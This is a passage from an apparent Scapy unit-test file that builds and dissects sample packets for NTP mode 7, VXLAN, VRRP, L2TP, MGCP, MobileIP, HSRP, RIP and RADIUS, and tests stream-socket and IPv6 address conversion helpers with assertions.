0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00.\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x02\x00\x01\x00\x00\x00\x00' p = NTP(s) assert(isinstance(p, NTPPrivate)) assert(p.response == 1) assert(p.more == 1) assert(p.version == 2) assert(p.mode == 7) assert(p.auth == 0) assert(p.request_code == 44) assert(p.err == 0) assert(p.nb_items == 3) assert(p.data_item_size == 136) assert(isinstance(p.data[0], NTPInfoIfStatsIPv4)) assert(p.data[0].unaddr == "192.168.122.101") assert(p.data[0].unmask == "255.255.255.0") assert(p.data[0].ifname.startswith(b"eth1")) = NTP Private (mode 7) - REQ_IF_RELOAD (1) - request s = b'\x17\x80\x03-\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xdb9\xed\xa3\xdc\x7f\xc6\x11\x00\x00\x00\x01\xfb>\x96*\xe7O\xf7\x8feh\xd4\x07L\xc0\x08\xcb' p = NTP(s) assert(isinstance(p, NTPPrivate)) assert(p.response == 0) assert(p.more == 0) assert(p.version == 2) assert(p.mode == 7) assert(p.auth == 1) assert(p.request_code == 45) assert(p.nb_items == 0) assert(p.data_item_size == 0) assert(hasattr(p, 'authenticator')) assert(p.authenticator.key_id == 1) assert(bytes_hex(p.authenticator.dgst) == b'fb3e962ae74ff78f6568d4074cc008cb') = NTP Private (mode 7) - REQ_IF_RELOAD (2) - response s = b'\xd7\x00\x03-\x00\x03\x00\x88\x7f\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00lo\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xf4\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x02\x00\x01\x00\x00\x00\x00\n\x00\x02\x0f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\n\x00\x02\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00eth0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x19\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x13\x00\x00\x00\x00\x00\x00\x01\xf4\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x05\x00\x02\x00\x01\x00\x00\x00\x00\xc0\xa8ze\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc0\xa8z\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00eth1\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x19\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00=\x00\x00\x00}\x00\x00\x00\x00\x00\x00\x01\xf4\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\t\x00\x02\x00\x01\x00\x00\x00\x00' p = NTP(s) assert(isinstance(p, NTPPrivate)) assert(p.response == 1) assert(p.more == 1) assert(p.version == 2) assert(p.mode == 7) assert(p.auth == 0) assert(p.request_code == 45) assert(p.err == 0) assert(p.nb_items == 3) assert(p.data_item_size == 136) assert(isinstance(p.data[0], NTPInfoIfStatsIPv4)) assert(p.data[0].unaddr == "127.0.0.1") assert(p.data[0].unmask == "255.0.0.0") assert(p.data[0].ifname.startswith(b"lo")) ############ ############ + VXLAN layer = Build a VXLAN packet with VNI of 42 raw(UDP(sport=1024, dport=4789, len=None, chksum=None)/VXLAN(flags=0x08, vni=42)) == b'\x04\x00\x12\xb5\x00\x10\x00\x00\x08\x00\x00\x00\x00\x00\x2a\x00' = Verify VXLAN Ethernet Binding pkt = VXLAN(raw(VXLAN(vni=23)/Ether(dst="11:11:11:11:11:11", src="11:11:11:11:11:11", type=0x800))) pkt.flags.NextProtocol and pkt.NextProtocol == 3 = Verify UDP dport overloading p = Ether(dst="11:11:11:11:11:11", src="22:22:22:22:22:22") p /= IP(src="1.1.1.1", dst="2.2.2.2") / UDP(sport=1111) p /= VXLAN(flags=0xC, vni=42, NextProtocol=0) / Ether() / IP() p = Ether(raw(p)) assert(p[UDP].dport == 4789) assert(p[Ether:2].type == 0x800) = Build a VXLAN packet with next protocol field p = Ether(dst="11:11:11:11:11:11", src="22:22:22:22:22:22") p /= IP(src="1.1.1.1", dst="2.2.2.2") / UDP(sport=1111) p /= VXLAN(flags=0xC, vni=42, NextProtocol=3) / Ether() / IP() p = Ether(raw(p)) assert(p[UDP].dport == 4789) assert(p[VXLAN].reserved0 == 0x0) assert(p[VXLAN].NextProtocol == 3) assert(p[Ether:2].type == 0x800) = Build a VXLAN packet with no group policy ID p = Ether(dst="11:11:11:11:11:11", src="22:22:22:22:22:22") p /= IP(src="1.1.1.1", dst="2.2.2.2") / UDP(sport=1111) p /= VXLAN(flags=0xC, vni=42) / Ether() / IP() p = Ether(raw(p)) assert(p[VXLAN].reserved2 == 0x0) assert(p[VXLAN].gpid is None) assert(p[Ether:2].type == 0x800) = Build a VXLAN packet with group policy ID = 42 p = Ether(dst="11:11:11:11:11:11", src="22:22:22:22:22:22") p /= IP(src="1.1.1.1", dst="2.2.2.2") / UDP(sport=1111) p /= VXLAN(flags=0x8C, gpid=42, vni=42) / Ether() / IP() p = Ether(raw(p)) assert(p[VXLAN].gpid == 42) assert(p[VXLAN].reserved1 is None) assert(p[Ether:2].type == 0x800) = Build a VXLAN packet followed by and IP or IPv6 layer etherproto = 0x0 ipproto = 0x1 ipv6proto = 0x2 iptest = "192.168.20.20" ipv6test = "659f:2c23:565:3fab:32d5:bb95:a0ed:2e3b" expkt = UDP() / VXLAN() / IP(dst=iptest) / "testing" expkt = UDP(bytes(expkt)) assert(expkt[VXLAN].NextProtocol == ipproto) assert(IP in expkt) assert(expkt[IP].dst == iptest) expkt = UDP() / VXLAN() / IPv6(dst=ipv6test) / "testing" expkt = UDP(bytes(expkt)) assert(expkt[VXLAN].NextProtocol == ipv6proto) assert(IPv6 in expkt) assert(expkt[IPv6].dst == ipv6test) expkt = UDP() / VXLAN(flags=0x4, NextProtocol=ipproto) / "0xfffffffffffffffffffffffffffffffffffffffffffff" expkt = UDP(bytes(expkt)) assert(IP in expkt) expkt = UDP() / VXLAN(flags=0x4, NextProtocol=ipv6proto) / "0xfffffffffffffffffffffffffffffffffffffffffffff" expkt = UDP(bytes(expkt)) assert(IPv6 in expkt) expkt = UDP() / VXLAN(flags=0x4, NextProtocol=etherproto) / "0xfffffffffffffffffffffffffffffffffffffffffffff" expkt = UDP(bytes(expkt)) assert(Ether in expkt) = Dissect VXLAN with no NextProtocol pkt = VXLAN(b'\x08\x00\x00\x00\x00"H\x00\xcaF\xae\x10\xed\x0f\x0c\x00\x00\x00\x00\x00\x08\x06\x00\x01\x08\x00\x06\x04\x00\x02\x0c\x00\x00\x00\x00\x00\x7f\xff\xff\xfe\x11"3DUf\x7f\x00\x00\x02') assert pkt.NextProtocol is None assert Ether in pkt assert ARP in pkt ############ ############ ############ + Tests of StreamSocket = Test with DNS over TCP ~ netaccess import socket sck = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sck.connect(("8.8.8.8", 53)) class DNSTCP(Packet): name = "DNS over TCP" fields_desc = [ FieldLenField("len", None, fmt="!H", length_of="dns"), PacketLenField("dns", 0, DNS, length_from=lambda p: p.len)] ssck = StreamSocket(sck) ssck.basecls = DNSTCP r = ssck.sr1(DNSTCP(dns=DNS(rd=1, qd=DNSQR(qname="www.example.com")))) sck.close() assert(DNSTCP in r and len(r.dns.an)) ############ + Tests of SSLStreamContext = Test with recv() calls that return exact packet-length rawings ~ sslraweamsocket import socket class MockSocket(object): def __init__(self): self.l = [ b'\x00\x00\x00\x01', b'\x00\x00\x00\x02', b'\x00\x00\x00\x03' ] def recv(self, x): if len(self.l) == 0: raise socket.error(100, 'EOF') return self.l.pop(0) def fileno(self): return -1 def close(self): return class TestPacket(Packet): name = 'TestPacket' fields_desc = [ IntField('data', 0) ] def guess_payload_class(self, p): return conf.padding_layer s = MockSocket() ss = SSLStreamSocket(s, basecls=TestPacket) p = ss.recv() assert(p.data == 1) p = ss.recv() assert(p.data == 2) p = ss.recv() assert(p.data == 3) try: ss.recv() ret = False except socket.error: ret = True assert(ret) = Test with recv() calls that return twice as much data as the exact packet-length ~ sslraweamsocket import socket class MockSocket(object): def __init__(self): self.l = [ b'\x00\x00\x00\x01\x00\x00\x00\x02', b'\x00\x00\x00\x03\x00\x00\x00\x04' ] def recv(self, x): if len(self.l) == 0: raise socket.error(100, 'EOF') return self.l.pop(0) def fileno(self): return -1 def close(self): return class TestPacket(Packet): name = 'TestPacket' fields_desc = [ IntField('data', 0) ] def guess_payload_class(self, p): return conf.padding_layer s = MockSocket() ss = SSLStreamSocket(s, basecls=TestPacket) p = ss.recv() assert(p.data == 1) p = ss.recv() assert(p.data == 2) p = ss.recv() assert(p.data == 3) p = ss.recv() assert(p.data == 4) try: ss.recv() ret = False except socket.error: ret = True assert(ret) = Test with recv() calls that return not enough data ~ sslraweamsocket import socket class MockSocket(object): def __init__(self): self.l = [ b'\x00\x00', b'\x00\x01', b'\x00\x00\x00', b'\x02', b'\x00\x00', b'\x00', b'\x03' ] def recv(self, x): if len(self.l) == 0: raise socket.error(100, 'EOF') return self.l.pop(0) def fileno(self): return -1 def close(self): return class TestPacket(Packet): name = 'TestPacket' fields_desc = [ IntField('data', 0) ] def guess_payload_class(self, p): return conf.padding_layer s = MockSocket() ss = SSLStreamSocket(s, basecls=TestPacket) try: p = ss.recv() ret = False except: ret = True assert(ret) p = ss.recv() assert(p.data == 1) try: p = ss.recv() ret = False except: ret = True assert(ret) p = ss.recv() assert(p.data == 2) try: p = ss.recv() ret = False except: ret = True assert(ret) try: p = ss.recv() ret = False except: ret = True assert(ret) p = ss.recv() assert(p.data == 3) ############ ############ + Test correct conversion from binary to rawing of IPv6 addresses = IPv6 bin to rawing conversion from scapy.pton_ntop import _inet6_ntop, inet_ntop import socket for binfrm, address in [ (b'\x00' * 16, '::'), (b'\x11\x11\x22\x22\x33\x33\x44\x44\x55\x55\x66\x66\x77\x77\x88\x88', '1111:2222:3333:4444:5555:6666:7777:8888'), (b'\x11\x11\x22\x22\x33\x33\x44\x44\x55\x55\x00\x00\x00\x00\x00\x00', '1111:2222:3333:4444:5555::'), (b'\x00\x00\x00\x00\x00\x00\x44\x44\x55\x55\x66\x66\x77\x77\x88\x88', '::4444:5555:6666:7777:8888'), (b'\x00\x00\x00\x00\x33\x33\x44\x44\x00\x00\x00\x00\x00\x00\x88\x88', '0:0:3333:4444::8888'), (b'\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', '1::'), (b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01', '::1'), (b'\x11\x11\x00\x00\x00\x00\x44\x44\x00\x00\x00\x00\x77\x77\x88\x88', '1111::4444:0:0:7777:8888'), (b'\x10\x00\x02\x00\x00\x30\x00\x04\x00\x05\x00\x60\x07\x00\x80\x00', '1000:200:30:4:5:60:700:8000'), ]: addr1 = inet_ntop(socket.AF_INET6, binfrm) addr2 = _inet6_ntop(binfrm) assert address == addr1 == addr2 = IPv6 bin to rawing conversion - Zero-block of length 1 binfrm = b'\x11\x11\x22\x22\x33\x33\x44\x44\x55\x55\x66\x66\x00\x00\x88\x88' addr1, addr2 = inet_ntop(socket.AF_INET6, binfrm), _inet6_ntop(binfrm) # On Mac OS socket.inet_ntop is not fully compliant with RFC 5952 and # shortens the single zero block to '::'. This is a valid IPv6 address # representation anyway. assert(addr1 in ['1111:2222:3333:4444:5555:6666:0:8888', '1111:2222:3333:4444:5555:6666::8888']) assert(addr2 == '1111:2222:3333:4444:5555:6666:0:8888') = IPv6 bin to rawing conversion - Illegal sizes for binfrm in ["\x00" * 15, b"\x00" * 17]: rc = False try: inet_ntop(socket.AF_INET6, binfrm) except Exception as exc1: _exc1 = exc1 rc = True assert rc try: _inet6_ntop(binfrm) except Exception as exc2: rc = isinstance(exc2, type(_exc1)) assert rc ############ ############ + Netbios tests = NBNSQueryRequest - build z = NBNSQueryRequest(SUFFIX="file server service", QUESTION_NAME='TEST1', QUESTION_TYPE='NB') assert raw(z) == b'\x00\x00\x01\x10\x00\x01\x00\x00\x00\x00\x00\x00 FEEFFDFEDBCACACACACACACACACACACA\x00\x00 \x00\x01' pkt = IP(dst='192.168.0.255')/UDP(sport=137, dport='netbios_ns')/z pkt = IP(raw(pkt)) assert pkt.QUESTION_NAME == b'TEST1 ' ############ ############ + VRRP tests = VRRP - build s = raw(IP()/VRRP()) s == b'E\x00\x00$\x00\x01\x00\x00@p|g\x7f\x00\x00\x01\x7f\x00\x00\x01!\x01d\x00\x00\x01z\xfd\x00\x00\x00\x00\x00\x00\x00\x00' = VRRP - dissection p = IP(s) VRRP in p and p[VRRP].chksum == 0x7afd = VRRP IPv6 - build s6 = raw(IPv6()/VRRPv3()) s6 == b'`\x00\x00\x00\x00\x08p@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x011\x01d\x01\x00dj\x1f' = VRRP IPv6 - dissection p6 = IPv6(s6) VRRPv3 in p6 and p6[VRRPv3].chksum == 0x6a1f = VRRP - chksums # VRRPv3 p = Ether(src="00:00:5e:00:02:02",dst="01:00:5e:00:00:12")/IP(src="20.0.0.3", dst="224.0.0.18",ttl=255)/VRRPv3(priority=254,vrid=2,version=3,adv=1,addrlist=["20.0.1.2","20.0.1.3"]) a = Ether(raw(p)) assert a[VRRPv3].chksum == 0xb25e # VRRPv1 p = Ether(src="00:00:5e:00:02:02",dst="01:00:5e:00:00:12")/IP(src="20.0.0.3", dst="224.0.0.18",ttl=255)/VRRP(priority=254,vrid=2,version=1,adv=1,addrlist=["20.0.1.2","20.0.1.3"]) b = Ether(raw(p)) assert b[VRRP].chksum == 0xc6f4 = VRRP IPv6 - chksums # VRRPv3 IPv6 p = Ether(src="00:00:5e:00:02:02",dst="33:33:00:00:00:12")/IPv6(src="2001:db8::1", dst="ff02::12",hlim=255)/VRRPv3(priority=254,vrid=2,version=3,adv=1,ipcount=2,addrlist=["2001:db8::2","2001:db8::3"]) c = Ether(raw(p)) assert c[VRRPv3].chksum == 0x481b ############ ############ + L2TP tests = L2TP - build s = raw(IP()/UDP()/L2TP()) s == b'E\x00\x00"\x00\x01\x00\x00@\x11|\xc8\x7f\x00\x00\x01\x7f\x00\x00\x01\x06\xa5\x06\xa5\x00\x0e\xf4\x83\x00\x02\x00\x00\x00\x00' = L2TP - dissection p = IP(s) L2TP in p and len(p[L2TP]) == 6 and p.tunnel_id == 0 and p.session_id == 0 and p[UDP].chksum == 0xf483 ############ ############ + MGCP tests = MGCP - build s = raw(IP(src="127.0.0.1")/UDP()/MGCP(endpoint="scapy@secdev.org", transaction_id="04523")) s == b'E\x00\x00I\x00\x01\x00\x00@\x11|\xa1\x7f\x00\x00\x01\x7f\x00\x00\x01\n\xa7\n\xa7\x005\xf8\xaeAUEP 04523 scapy@secdev.org MGCP 1.0 NCS 1.0\n' = MGCP - dissect pkt = Ether(b'\x1b\x81\xb8\xa8J5\xe3\xebn\x90q\xb8\x08\x00E\x00\x00E\x00\x01\x00\x00@\x11\xf7\xde\xc0\xa8\x00\xff\xc0\xa8\x00y\n\xa7\n\xa7\x001\x05\xb5AUEP 155 god@heaven.com MGCP 1.0 NCS 1.0\n') assert pkt[MGCP].endpoint == b'god@heaven.com' ############ ############ + MobileIP tests = MobileIP - build s = raw(IP(src="127.0.0.1")/UDP()/MobileIP()/MobileIPRRP(homeaddr='156.133.50.141', haaddr='95.83.86.216')) s == b'E\x00\x000\x00\x01\x00\x00@\x11|\xba\x7f\x00\x00\x01\x7f\x00\x00\x01\x01\xb2\x01\xb2\x00\x1cu]\x03\x00\x00\xb4\x9c\x852\x8d_SV\xd8\x00\x00\x00\x00\x00\x00\x00\x00' = MobileIP - dissect pkt = IP(s) assert pkt[MobileIP][MobileIPRRP].haaddr == '95.83.86.216' ############ ############ + HSRP tests = HSRP - build & dissection defaddr = conf.route.route('0.0.0.0')[1] pkt = IP(raw(IP()/UDP(dport=1985, sport=1985)/HSRP()/HSRPmd5())) assert pkt[IP].dst == "224.0.0.2" and pkt[UDP].sport == pkt[UDP].dport == 1985 assert pkt[HSRP].opcode == 0 and pkt[HSRP].state == 16 assert pkt[HSRPmd5].type == 4 and pkt[HSRPmd5].sourceip == defaddr ############ ############ + RIP tests = RIP - build s = raw(IP()/UDP(sport=520)/RIP()/RIPEntry()/RIPAuth(authtype=2, password="scapy")) s == b'E\x00\x00H\x00\x01\x00\x00@\x11|\xa2\x7f\x00\x00\x01\x7f\x00\x00\x01\x02\x08\x02\x08\x004\xae\x99\x01\x01\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xff\xff\x00\x02scapy\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = RIP - UDP bindings w = IP(raw(IP()/UDP()/RIP()/RIPEntry()/RIPAuth(authtype=2, password="scapy"))) assert RIPAuth in w assert w[RIPAuth].password.startswith(b"scapy") = RIP - dissection p = IP(s) RIPEntry in p and RIPAuth in p and p[RIPAuth].password.startswith(b"scapy") ############ ############ + RADIUS tests = IP/UDP/RADIUS - Build s = raw(IP()/UDP(sport=1812)/Radius(authenticator="scapy")/RadiusAttribute(value="scapy")) s == b'E\x00\x007\x00\x01\x00\x00@\x11|\xb3\x7f\x00\x00\x01\x7f\x00\x00\x01\x07\x14\x07\x14\x00#U\xb3\x01\x00\x00\x1bscapy\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x07scapy' = IP/UDP/RADIUS - Dissection p = IP(s) Radius in p and len(p[Radius].attributes) == 1 and p[Radius].attributes[0].value == b"scapy" = RADIUS - Access-Request - Dissection (1) s = b'\x01\xae\x01\x17>k\xd4\xc4\x19V\x0b*1\x99\xc8D\xea\xc2\x94Z\x01\x06leap\x06\x06\x00\x00\x00\x02\x1a\x1b\x00\x00\x00\t\x01\x15service-type=Framed\x0c\x06\x00\x00#\xee\x1e\x13AC-7E-8A-4E-E2-92\x1f\x1300-26-73-9E-0F-D3O\x0b\x02\x01\x00\t\x01leapP\x12U\xbc\x12\xcdM\x00\xf8\xdb4\xf1\x18r\xca_\x8c\xf6f\x02\x1a1\x00\x00\x00\t\x01+audit-session-id=0AC8090E0000001A0354CA00\x1a\x14\x00\x00\x00\t\x01\x0emethod=dot1x\x08\x06\xc0\xa8\n\xb9\x04\x06\xc0\xa8\n\x80\x1a\x1d\x00\x00\x00\t\x02\x17GigabitEthernet1/0/18W\x17GigabitEthernet1/0/18=\x06\x00\x00\x00\x0f\x05\x06\x00\x00\xc3\xc6' radius_packet = Radius(s) assert(radius_packet.id == 174) assert(radius_packet.len == 279) assert(radius_packet.authenticator == b'>k\xd4\xc4\x19V\x0b*1\x99\xc8D\xea\xc2\x94Z') assert(len(radius_packet.attributes) == 17) assert(radius_packet.attributes[0].type == 1) assert(type(radius_packet.attributes[0]) == RadiusAttr_User_Name) assert(radius_packet.attributes[0].len == 6) assert(radius_packet.attributes[0].value == b"leap") assert(radius_packet.attributes[1].type == 6) assert(type(radius_packet.attributes[1]) == RadiusAttr_Service_Type) assert(radius_packet.attributes[1].len == 6) assert(radius_packet.attributes[1].value == 2) assert(radius_packet.attributes[2].type == 26) assert(type(radius_packet.attributes[2]) == RadiusAttr_Vendor_Specific) assert(radius_packet.attributes[2].len == 27) assert(radius_packet.attributes[2].vendor_id == 9) assert(radius_packet.attributes[2].vendor_type == 1) assert(radius_packet.attributes[2].vendor_len == 21) assert(radius_packet.attributes[2].value == b"service-type=Framed") assert(radius_packet.attributes[6].type == 79) assert(type(radius_packet.attributes[6]) == RadiusAttr_EAP_Message) assert(radius_packet.attributes[6].len == 11) assert(radius_packet.attributes[6].value.haslayer(EAP)) assert(radius_packet.attributes[6].value[EAP].code == 2) assert(radius_packet.attributes[6].value[EAP].id == 1) assert(radius_packet.attributes[6].value[EAP].len == 9) assert(radius_packet.attributes[6].value[EAP].type == 1) assert(hasattr(radius_packet.attributes[6].value[EAP], "identity")) assert(radius_packet.attributes[6].value[EAP].identity == b"leap") assert(radius_packet.attributes[7].type == 80) assert(type(radius_packet.attributes[7]) == RadiusAttr_Message_Authenticator) assert(radius_packet.attributes[7].len == 18) assert(radius_packet.attributes[7].value == b'U\xbc\x12\xcdM\x00\xf8\xdb4\xf1\x18r\xca_\x8c\xf6') assert(radius_packet.attributes[11].type == 8) assert(type(radius_packet.attributes[11]) == RadiusAttr_Framed_IP_Address) assert(radius_packet.attributes[11].len == 6) assert(radius_packet.attributes[11].value == '192.168.10.185') assert(radius_packet.attributes[16].type == 5) assert(type(radius_packet.attributes[16]) == RadiusAttr_NAS_Port) assert(radius_packet.attributes[16].len == 6) assert(radius_packet.attributes[16].value == 50118) f,v = radius_packet.getfield_and_val("authenticator") assert f.i2repr(None, v) == '3e6bd4c419560b2a3199c844eac2945a' = RADIUS - compute_message_authenticator() ram = radius_packet[RadiusAttr_Message_Authenticator] assert ram.compute_message_authenticator(radius_packet, b"dummy bytes", b"scapy") == b'I\x85l\x8f\xa5\xd6\xbc\xb5\x08\xe0<\xebH\x9d\xfb?' = RADIUS - Access-Challenge - Dissection (2) s = b'\x0b\xae\x00[\xc7\xae\xfc6\xa1=\xb5\x99&^\xdf=\xe9\x00\xa6\xe8\x12\rHello, leapO\x16\x01\x02\x00\x14\x11\x01\x00\x08\xb8\xc4\x1a4\x97x\xd3\x82leapP\x12\xd3\x12\x17\xa6\x0c.\x94\x85\x03]t\xd1\xdb\xd0\x13\x8c\x18\x12iQs\xf7iSb@k\x9d,\xa0\x99\x8ehO' radius_packet = Radius(s) assert(radius_packet.id == 174) assert(radius_packet.len == 91) assert(radius_packet.authenticator == b'\xc7\xae\xfc6\xa1=\xb5\x99&^\xdf=\xe9\x00\xa6\xe8') assert(len(radius_packet.attributes) == 4) assert(radius_packet.attributes[0].type == 18) assert(type(radius_packet.attributes[0]) == RadiusAttribute) assert(radius_packet.attributes[0].len == 13) assert(radius_packet.attributes[0].value == b"Hello, leap") assert(radius_packet.attributes[1].type == 79) assert(type(radius_packet.attributes[1]) == RadiusAttr_EAP_Message) assert(radius_packet.attributes[1].len == 22) assert(radius_packet.attributes[1][EAP].code == 1) assert(radius_packet.attributes[1][EAP].id == 2) assert(radius_packet.attributes[1][EAP].len == 20) assert(radius_packet.attributes[1][EAP].type == 17) assert(radius_packet.attributes[2].type == 80) assert(type(radius_packet.attributes[2]) == RadiusAttr_Message_Authenticator) assert(radius_packet.attributes[2].len == 18) assert(radius_packet.attributes[2].value == b'\xd3\x12\x17\xa6\x0c.\x94\x85\x03]t\xd1\xdb\xd0\x13\x8c') assert(radius_packet.attributes[3].type == 24) assert(type(radius_packet.attributes[3]) == RadiusAttr_State) assert(radius_packet.attributes[3].len == 18) assert(radius_packet.attributes[3].value == b'iQs\xf7iSb@k\x9d,\xa0\x99\x8ehO') = RADIUS - Access-Request - Dissection (3) s = b'\x01\xaf\x01DC\xbe!J\x08\xdf\xcf\x9f\x00v~,\xfb\x8e`\xc8\x01\x06leap\x06\x06\x00\x00\x00\x02\x1a\x1b\x00\x00\x00\t\x01\x15service-type=Framed\x0c\x06\x00\x00#\xee\x1e\x13AC-7E-8A-4E-E2-92\x1f\x1300-26-73-9E-0F-D3O&\x02\x02\x00$\x11\x01\x00\x18\rE\xc9\x92\xf6\x9ae\x04\xa2\x06\x13\x8f\x0b#\xf1\xc56\x8eU\xd9\x89\xe5\xa1)leapP\x12|\x1c\x9d[dv\x9c\x19\x96\xc6\xec\xb82\x8f\n f\x02\x1a1\x00\x00\x00\t\x01+audit-session-id=0AC8090E0000001A0354CA00\x1a\x14\x00\x00\x00\t\x01\x0emethod=dot1x\x08\x06\xc0\xa8\n\xb9\x04\x06\xc0\xa8\n\x80\x1a\x1d\x00\x00\x00\t\x02\x17GigabitEthernet1/0/18W\x17GigabitEthernet1/0/18=\x06\x00\x00\x00\x0f\x05\x06\x00\x00\xc3\xc6\x18\x12iQs\xf7iSb@k\x9d,\xa0\x99\x8ehO' radius_packet = Radius(s) assert(radius_packet.id == 175) assert(radius_packet.len == 324) assert(radius_packet.authenticator == b'C\xbe!J\x08\xdf\xcf\x9f\x00v~,\xfb\x8e`\xc8') assert(len(radius_packet.attributes) == 18) assert(radius_packet.attributes[0].type == 1) assert(type(radius_packet.attributes[0]) == RadiusAttr_User_Name) assert(radius_packet.attributes[0].len == 6) assert(radius_packet.attributes[0].value == b"leap") assert(radius_packet.attributes[1].type == 6) assert(type(radius_packet.attributes[1]) == RadiusAttr_Service_Type) assert(radius_packet.attributes[1].len == 6) assert(radius_packet.attributes[1].value == 2) assert(radius_packet.attributes[2].type == 26) assert(type(radius_packet.attributes[2]) == RadiusAttr_Vendor_Specific) assert(radius_packet.attributes[2].len == 27) assert(radius_packet.attributes[2].vendor_id == 9) assert(radius_packet.attributes[2].vendor_type == 1) assert(radius_packet.attributes[2].vendor_len == 21) assert(radius_packet.attributes[2].value == b"service-type=Framed") assert(radius_packet.attributes[6].type == 79) assert(type(radius_packet.attributes[6]) == RadiusAttr_EAP_Message) assert(radius_packet.attributes[6].len == 38) assert(radius_packet.attributes[6].value.haslayer(EAP)) assert(radius_packet.attributes[6].value[EAP].code == 2) assert(radius_packet.attributes[6].value[EAP].id == 2) assert(radius_packet.attributes[6].value[EAP].len == 36) assert(radius_packet.attributes[6].value[EAP].type == 17) assert(radius_packet.attributes[7].type == 80) assert(type(radius_packet.attributes[7]) == RadiusAttr_Message_Authenticator) assert(radius_packet.attributes[7].len == 18) assert(radius_packet.attributes[7].value == b'|\x1c\x9d[dv\x9c\x19\x96\xc6\xec\xb82\x8f\n ') assert(radius_packet.attributes[11].type == 8) assert(type(radius_packet.attributes[11]) == RadiusAttr_Framed_IP_Address) assert(radius_packet.attributes[11].len == 6) assert(radius_packet.attributes[11].value == '192.168.10.185') assert(radius_packet.attributes[16].type == 5) assert(type(radius_packet.attributes[16]) == RadiusAttr_NAS_Port) assert(radius_packet.attributes[16].len == 6) assert(radius_packet.attributes[16].value == 50118) assert(radius_packet.attributes[17].type == 24) assert(type(radius_packet.attributes[17]) == RadiusAttr_State) assert(radius_packet.attributes[17].len == 18) assert(radius_packet.attributes[17].value == b'iQs\xf7iSb@k\x9d,\xa0\x99\x8ehO') = RADIUS - Access-Challenge - Dissection (4) s = b'\x0b\xaf\x00K\x82 \x95=\xfd\x80\x05 -l}\xab)\xa5kU\x12\rHello, leapO\x06\x03\x03\x00\x04P\x12l0\xb9\x8d\xca\xfc!\xf3\xa7\x08\x80\xe1\xf6}\x84\xff\x18\x12iQs\xf7hRb@k\x9d,\xa0\x99\x8ehO' radius_packet = Radius(s) assert(radius_packet.id == 175) assert(radius_packet.len == 75) assert(radius_packet.authenticator == b'\x82 \x95=\xfd\x80\x05 -l}\xab)\xa5kU') assert(len(radius_packet.attributes) == 4) assert(radius_packet.attributes[0].type == 18) assert(type(radius_packet.attributes[0]) == RadiusAttribute) assert(radius_packet.attributes[0].len == 13) assert(radius_packet.attributes[0].value == b"Hello, leap") assert(radius_packet.attributes[1].type == 79) assert(type(radius_packet.attributes[1]) == RadiusAttr_EAP_Message) assert(radius_packet.attributes[1].len == 6) assert(radius_packet.attributes[1][EAP].code == 3) assert(radius_packet.attributes[1][EAP].id == 3) assert(radius_packet.attributes[1][EAP].len == 4) assert(radius_packet.attributes[2].type == 80) assert(type(radius_packet.attributes[2]) == 